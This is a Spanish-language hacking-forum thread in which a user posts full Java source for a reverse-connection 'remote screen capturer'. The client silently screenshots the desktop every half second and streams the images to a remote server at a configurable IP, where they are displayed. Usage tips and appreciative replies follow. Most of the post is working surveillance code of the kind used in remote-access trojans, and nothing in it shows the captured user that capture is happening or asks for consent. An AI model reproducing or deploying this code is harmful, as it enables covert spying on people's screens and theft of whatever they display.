Saltar al contenido
Underc0de /foro

Capturador de Pantalla remoto [By Expermicid]

Iniciado por Expermicid, Enero 17, 2013, 02:37:06 PM

Tema anterior - Siguiente tema

0 Miembros y 0 Visitantes están viendo este tema.

Avatar de Expermicid
Enero 17, 2013, 02:37:06 PM Ultima modificación: Marzo 01, 2013, 10:49:24 AM por Expermicid

Hace un tiempo que hice este code y quiero compartirlo con ustedes.

El tipo de conexion es inversa. Y su objetivo es tomar capturas del escritorio cada cierto intervalo de tiempo y las envia a traves de socket a un servidor en donde se previsualizan una despues de otra. :)

Cliente:

Código: java
import java.io.*;
import java.net.*;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;

public class Cliente {

static final int PUERTO = 5000;  // puerto de conexion
private String HOST;
    private Socket sCliente;
    private ObjectOutputStream salida;

    // constructor
public Cliente( String host ) {
HOST = host;
} // fin del constructor

// metodo ejecutarConexion
private void ejecutarConexion() {
try {
conectarServidor();
salida = new ObjectOutputStream( sCliente.getOutputStream() );
salida.flush();
while ( true ) {
enviarImage();
Thread.sleep(500); // intervalo de tiempo entre capturas del escritorio
}
} catch ( Exception e ) {
        System.out.println(e.getMessage());
        }
} // fin del metodo ejecutarConexion

// metodo conectarServidor
private void conectarServidor() throws IOException {
sCliente = new Socket( HOST, PUERTO );
    } // fin metodo conectarServidor

// metodo enviarImage
private void enviarImage() {
Rectangle rectangleTam = new Rectangle(Toolkit.getDefaultToolkit().getScreenSiz  e());
        try {
            Robot robot = new Robot();
            BufferedImage bufferedImage = robot.createScreenCapture(rectangleTam);
            ByteArrayOutputStream salidaImagen = new ByteArrayOutputStream();
            ImageIO.write(bufferedImage, "jpg", salidaImagen);
            byte[] bytesImagen = salidaImagen.toByteArray();
            salida.writeObject( bytesImagen );
            salida.flush();
        } catch ( Exception e ) {
        System.out.println(e.getMessage());
        }
} // fin del metodo enviarImage

// metodo Main
public static void main(String[] args) {
Cliente principal = new Cliente( "Ip_a_Conectar" ); // cambiar Ip_a_Conectar por la que corresponda
principal.ejecutarConexion();
}

}


Servidor:

Código: java
import java.io.*;
import java.net.*;
import javax.imageio.ImageIO;
import java.awt.Graphics2D;
import java.awt.RenderingHints;
import java.awt.image.BufferedImage;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;

public class Servidor extends JFrame {

static final int PUERTO = 5000; // puerto de conexion
private ServerSocket sServidor;
    private Socket sCliente;
    private ObjectInputStream entrada;
    private JLabel label;

// constructor
public Servidor() {
setTitle("Capturador de Pantalla");
setSize(810, 610); // tamaño de la ventana
setVisible(true);
setResizable(false);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

label = new JLabel();
add(label);
} // fin del constructor

// metodo ejecutarConexion
private void ejecutarConexion() {
try {
sServidor = new ServerSocket(PUERTO);
while ( true ) {
                try {
                    esperarConexion();
                    entrada = new ObjectInputStream( sCliente.getInputStream() );
                    procesarImagen();
                } catch ( Exception e ) {
                System.out.println(e.getMessage());
                }
}
} catch ( Exception e ) {
            System.out.println(e.getMessage());
        } finally {
            cerrarConexion();
        }
} // fin del metodo ejecutarConexion

// metodo esperarConexion
private void esperarConexion() throws IOException {
sCliente = sServidor.accept();
    } // fin del metodo esperarConexion

// metodo cerrarConexion
private void cerrarConexion() {
        try {
            entrada.close();
            sCliente.close();
        } catch( Exception e ) {
        System.out.println(e.getMessage());
        }
    } // fin del metodo cerrarConexion

// metodo procesarImagen
private void procesarImagen() throws IOException {

        // medidas de redimensionado de la imagen
int WIDTH = 800;
int HEIGHT = 600;

do {
try {
                byte[] bytesImagen = (byte[]) entrada.readObject();
                ByteArrayInputStream entradaImagen = new ByteArrayInputStream(bytesImagen);
                BufferedImage bufferedImage = ImageIO.read(entradaImagen);
               
                BufferedImage tnsImg = new BufferedImage(WIDTH,HEIGHT, BufferedImage.TYPE_INT_RGB);
                Graphics2D graphics2D = tnsImg.createGraphics();
                graphics2D.setRenderingHint(RenderingHints.KEY_INT  ERPOLATION,RenderingHints.VALUE_INTERPOLATION_BILI  NEAR);
                graphics2D.drawImage(bufferedImage, 0, 0, WIDTH, HEIGHT, null);
               
                label.setIcon(new ImageIcon( tnsImg ));
} catch( Exception e ) {
        System.out.println(e.getMessage());
        }       
} while ( true );
} // fin del metodo procesarImagen

// metodo Main
public static void main(String[] args) {
Servidor principal = new Servidor();
principal.ejecutarConexion();
}

}


Antes de ponerle el video les dejo algunas aclaraciones.

En el cliente, en el metodo main tienen que cambiar Ip_a_Conectar por la IP que corresponda. Y en el metodo ejecutarConexion hay un sleep que es el intervalo entre capturas. Pueden cambiarlo a gusto.
Por parte del servidor, en el metodo procesarImagen tiene unas medidas de redimensionado de la imagen. Cuando recibe la imagen la achica a esas dimensiones para que entre en el form. Si uno quiere puede cambiar esas medidas pero como recomendacion tambien necesitara cambiar las medidas de la ventana que hay en el constructor.

Dicho todas las cosas, les dejo un video :)



Saludos
WhatsApp Telegram

5 respuestas

Avatar de miniminiyo
muy bueno el programa,se agradece el aporte

Avatar de Ju4n C4rl0s
Esta buenisimo tu programa lo he leido pero hay ciertas cosas que no entiendo de la sintasis pero se ve interesantisimo

Avatar de elshotta
muy bueno
gracias por compartir

Avatar de StuXn3t
Excelente aporte, gracias por compartir!

Saludos!!  ;D

Los enlaces son solo para miembros. Registrate o iniciá sesión

Avatar de paixon

¿Te quedó una duda sobre Java?

Preguntala y te responde la comunidad (y el asistente Underc0de IA si nadie llega antes). Es gratis y tarda un minuto.

Ya tengo cuenta
Guardamos tu pregunta en este navegador: después de entrar la publicás con un clic.
Grupo de WhatsApp